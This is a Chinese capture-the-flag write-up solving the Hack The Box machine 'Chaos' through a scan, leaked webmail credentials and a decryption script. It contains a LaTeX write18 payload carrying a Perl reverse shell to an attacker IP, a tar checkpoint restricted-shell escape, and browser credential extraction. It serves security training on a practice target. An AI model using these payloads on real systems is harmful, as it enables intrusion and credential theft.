【HTB系列】靶机Chaos的渗透测试详解

是大方子/2019.6.8/

知识点:

  1. 通过域名或者IP可能会得到网站的不同响应
  2. Wpscan的扫描wordpress
  3. 修改hosts来对网页邮件系统webmail进行访问
  4. LaTax反弹shell
  5. 通过tar来进行限制shell的绕过并修复shell的PATH
  6. 用firefox_decrypt提取火狐的用户凭证缓存

介绍

Kali: 10.10.12.87

靶机地址:10.10.10.120

先用Nmap来进行探测

root@kali:~/HTB# nmap -sV -T5 -sC 10.10.10.120Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-08 13:18 CST
Nmap scan report for 10.10.10.120
Host is up (0.21s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: STLS UIDL TOP SASL RESP-CODES CAPA AUTH-RESP-CODE PIPELINING
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: STARTTLS ENABLE LITERAL+ OK IMAP4rev1 SASL-IR LOGINDISABLEDA0001 have post-login listed ID IDLE LOGIN-REFERRALS capabilities more Pre-login
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: ENABLE LITERAL+ OK AUTH=PLAINA0001 SASL-IR capabilities have post-login listed ID IDLE LOGIN-REFERRALS IMAP4rev1 more Pre-login
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE UIDL TOP SASL(PLAIN) RESP-CODES CAPA USER PIPELINING
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after:  2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.63 seconds

靶机上运行这http服,pop3 imap 以及它们对应的ssl加密后的服务,还有一个就是监听在1000的MiniServ

我们看下80端口

80端口:

发现靶机是不允许直接使用IP进行访问的,那么我们修改下/etc/hosts文件

再次访问

这里我们用gobuster爆破下目录,为了结果的准确我把IP类型的地址和域名类型的地址都扫描了一遍

出现的结果不同,但是都是一个问题就是网站目录可直接访问,在IP的扫描结果中我们发现了wp(wordpress),这里我们只能用IP去访问用域名去访问是没有的

那么我们就用wpscan去扫描下,这里用tee命令在输出结果到终端的同时也把结果输出到文件中去。

这里扫描出了2条有用的信息,这里有个用户名字叫human

我们尝试把human当成密码输入到刚刚页面那篇的加密文章,发现是正确的并且我们得到了webmail的帐户和密码

Creds for webmail :
username – ayush
password – jiujitsu

我们是有看到靶机是运行这邮件系统的,我们用这个尝试去登陆,我们再再hosts中增加webmai.chaos.htb的记录

然后输入webmail.chaos.htb进行登陆

然后我们在草稿箱中发现了这个

一个是加密后的信息,一个是加密的脚本文件,邮件也说了“你就是密码”,所以我们可以先拿sahay当作密码进行尝试破解

以下是加密的脚本文件

def encrypt(key, filename):chunksize = 64*1024outputFile = "en" + filenamefilesize = str(os.path.getsize(filename)).zfill(16)IV =Random.new().read(16)encryptor = AES.new(key, AES.MODE_CBC, IV)with open(filename, 'rb') as infile:with open(outputFile, 'wb') as outfile:outfile.write(filesize.encode('utf-8'))outfile.write(IV)while True:chunk = infile.read(chunksize)if len(chunk) == 0:breakelif len(chunk) % 16 != 0:chunk += b' ' * (16 - (len(chunk) % 16))outfile.write(encryptor.encrypt(chunk))def getKey(password):hasher = SHA256.new(password.encode('utf-8'))return hasher.digest()

根据加密脚本写出对应的解密脚本

from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import Crypto.Cipher.AES
from binascii import hexlify, unhexlifydef encrypt(key, filename):chunksize = 64*1024outputFile = "en" + filenamefilesize = str(os.path.getsize(filename)).zfill(16)IV =Random.new().read(16)encryptor = AES.new(key, AES.MODE_CBC, IV)with open(filename, 'rb') as infile:with open(outputFile, 'wb') as outfile:outfile.write(filesize.encode('utf-8'))outfile.write(IV)while True:chunk = infile.read(chunksize)if len(chunk) == 0:breakelif len(chunk) % 16 != 0:chunk += b' ' * (16 - (len(chunk) % 16))outfile.write(encryptor.encrypt(chunk))def getKey(password):hasher = SHA256.new(password.encode('utf-8'))return hasher.digest()if __name__=="__main__":chunksize = 64*1024mkey = getKey("sahay")mIV = (b"0000000000000234")decipher = AES.new(mkey,AES.MODE_CBC,mIV)with open("enim_msg.txt", 'rb') as infile:chunk = infile.read(chunksize)plaintext = decipher.decrypt(chunk) print plaintext

执行解密脚本得到Base64加密后的结果:

这里前面的16为IV向量要去除,然后通过base64解码

echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d

得到一个连接http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

LaTax常用于文档排版的,具体可以百度下

输入文本并选择好模板后可以生成PDF,可以再http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/中看到生成好的PDF

关于LaTax的攻击可以参考这篇文章:https://0day.work/hacking-with-latex/

我们使用下面的exp反弹shell

\immediate\write18{perl -e 'use Socket;$i="你的IP地址";$p=端口;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}

监听制定端口并执行EXP

在得到shell后,我们用python建立一个稳定的shell

切换到Home目录发现这2个目录都没有权限

我们试下之前的mail的帐户密码,看看能不能切换到ayush

username – ayush

password – jiujitsu

切换成功但是,ayush处于受限的shell中

这里我们看到我们的PATH是ayush/.app,我们只能用这3个命令

对于限制shell的绕过,可以参考这个:https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

那么我们用tar 进行绕过

这里我们先切换回www-data,因为www-data的shell是正常的,然我们切换到/tmp目录下并创建rick并进行压缩

然后在切换到ayush

然后先进行绕过

tar cf /dev/null rick.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash

再修复下PATH

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

然后得到user flag

然后我们发现用户的目录下又.mozilla的文件里面有个firefox,用ls-la查看大小发现都大于firefox的默认大小,怀疑里面是有用户的凭证的

使用firefox_decrypt提取缓存凭据,项目地址:
https://github.com/unode/firefox_decrypt

然后把项目下载到靶机中去

然后对提取脚本加执行权限,并进行解密,提示需要输入主密钥我们同样输入jiujitsu,发现密码也是正确的

切换到root得到root flag

【HTB系列】靶机Chaos的渗透测试详解相关推荐

  1. Nmap渗透测试详解(一)

    Nmap渗透测试详解(一) 如今,Nmap享有"扫描之王"盛誉. Nmap诞生于1996年.在这个信息爆炸的互联网时代,Nmap依然保持着充沛的活力以及旺盛的生命力.原因如下: 知 ...

  2. 《Kali Linux高级渗透测试原书第2版》网络渗透测试技术书 无线网络渗透测试详解 黑客攻击与防范实战从入门到精通书

    内容简介: KaliLinux面向专业的渗透测试和审计,集成了大量挑选的检测工具.本书在KaliLinux平台上从一个攻击者的角度来审视网络框架,详细介绍了攻击者"杀链"采取的具体 ...

  3. ES6系列教程第三篇--Generator 详解

    一.什么是Generator 函数 先看下面的Generator函数, function* helloGenerator() {console.log("this is generator& ...

  4. mysql ssd 性能测试 写入_MySQL服务器的SSD性能问题分析和测试详解

    [问题] 我们有台HP的服务器,SSD在写IOPS约5000时,%util达到80%以上,那么这块SSD的性能究竟有没有问题,为解决这个问题做了下面测试. [工具] blktrace是linux下用来 ...

  5. batchnorm2d参数 torch_pytorch方法测试详解——归一化(BatchNorm2d)

    测试代码: import torch import torch.nn as nn m = nn.BatchNorm2d(2,affine=True) #权重w和偏重将被使用 input = torch ...

  6. 【深度学习系列】卷积神经网络CNN原理详解(一)——基本原理(1)

    上篇文章我们给出了用paddlepaddle来做手写数字识别的示例,并对网络结构进行到了调整,提高了识别的精度.有的同学表示不是很理解原理,为什么传统的机器学习算法,简单的神经网络(如多层感知机)都可 ...

  7. 离线强化学习(Offline RL)系列3: (算法篇) AWAC算法详解与实现

    [更新记录] 论文信息:AWAC: Accelerating Online Reinforcement Learning with Offline Datasets [Code] 本文由UC Berk ...

  8. java源码系列:HashMap底层存储原理详解——4、技术本质-原理过程-算法-取模具体解决什么问题

    目录 简介 取模具体解决什么问题? 通过数组特性,推导ascii码计算出来的下标值,创建数组非常占用空间 取模,可保证下标,在HashMap默认创建下标之内 简介 上一篇文章,我们讲到 哈希算法.哈希 ...

  9. JVM调优系列--Java命令选项(参数)--大全/详解/常用

    原文网址:JVM调优系列--Java命令选项(参数)--大全/详解/常用_IT利刃出鞘的博客-CSDN博客 简介 说明        本文介绍Java的java命令用法,包括:常用用法.选项大全. J ...

  10. Spring/Boot/Cloud系列知识:SpringMVC 传参详解(下)

    (接上文<Spring/Boot/Cloud系列知识:SpringMVC 传参详解(上)>) 2.3.通过@PathVariable注解基于URL匹配符接收请求传参 为了便于开发人员实现更 ...

最新文章

  1. qt 拖拽 修改大小(二)
  2. 记实现TDengine时序数据库支持 .Net Windows 32位系统踩坑
  3. html5 video修改默认样式,HTML5中将video设置为背景的方法
  4. c char转int_c/c++基础之sizeof用法
  5. 程序生活----葱油拌面
  6. 第15章 使用DOM的脚本语言
  7. dw选项卡怎么设置_EXCEL入门之设置
  8. python判断一个数是否是质数
  9. poi 导出excel 中合并单元格
  10. 【HDOJ6986】Kanade Loves Maze Designing(暴力,dfs树)
  11. 人脸识别 Face Recognition安装使用
  12. js实现图片在一个div中点击按钮放大缩小效果
  13. widows安装wxPython
  14. dubbo 监控中心配置
  15. C51单片机毕业设计题目大全
  16. 紫外线传感器 韩国GENICOM进口 GUVA-T11GD-L 全波段检测,原厂渠道
  17. Docker学习笔记 (狂神说)
  18. 《JAVA编程思想》学习笔记:第16章(数组)
  19. 最全Mac系统快捷键一览 学会了一秒变大神!
  20. 可满足性问题 SAT、3SAT

热门文章

  1. 旁观者-郑昀博客java调优
  2. 傅里叶变换和正弦函数和欧拉公式
  3. 计算机网络中NTFS概念及功能,什么是NTFS
  4. C# winform 魔兽MH全图 :WjeWar V1.5 (完全开源)
  5. 运维审计人员如何提高工作效率
  6. 001信息化和信息系统
  7. 免费虚拟化OVM-V1.6发布,新增虚拟机裸设备映射
  8. OSChina 周三乱弹 —— 有趣的灵魂会流油
  9. Windows Server 2022 英文版、简体中文版下载 (updated Dec 2021)(2022 年 1 月发布)
  10. 无线网络经常掉线的解决办法